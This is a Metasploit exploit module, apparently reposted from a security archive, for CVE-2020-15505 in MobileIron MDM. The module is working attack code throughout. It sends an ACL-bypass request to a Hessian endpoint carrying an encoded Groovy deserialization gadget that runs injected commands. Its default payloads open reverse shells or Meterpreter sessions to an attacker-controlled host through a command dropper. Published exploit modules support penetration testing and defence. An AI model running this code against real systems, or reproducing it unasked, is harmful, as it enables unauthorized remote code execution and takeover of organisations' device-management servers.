MobileIron MDM Hessian-Based Java Deserialization Remote Code Execution

This Metasploit module exploits an ACL bypass in MobileIron MDM products to execute a Groovy gadget against a Hessian-based Java deserialization endpoint.


MD5 | fbf377d8cb642849881b952ec319b89b

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',
'Description' => %q{
This module exploits an ACL bypass in MobileIron MDM products to
execute a Groovy gadget against a Hessian-based Java deserialization
endpoint.
},
'Author' => [
'Orange Tsai', # Discovery
'rootxharsh', # Exploit
'iamnoooob', # Exploit
'wvu' # Module
],
'References' => [
['CVE', '2020-15505'],
['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],
['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],
['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']
],
'DisclosureDate' => '2020-09-12', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
res = send_request_hessian('c')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
return CheckCode::Safe('ACL bypass failed.')
end

CheckCode::Vulnerable('ACL bypass successful.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

send_request_hessian(groovy_gadget(cmd))
end

def send_request_hessian(data)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'),
'ctype' => 'x-application/hessian',
'headers' => {
'Referer' => rand_text_english(8..42)
},
'data' => data
)
end

def groovy_gadget(cmd)
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers
hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}"

# Cale hates me for this
hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64(
<<~HESSIAN
eNpFj01PwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM
3APMPQwzsrZugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV
wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4
XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6
nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bf0FITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC
wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QsCUTpxso7Zt95yz09EOfgCmKo1k
HESSIAN
))

hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}")
end

end

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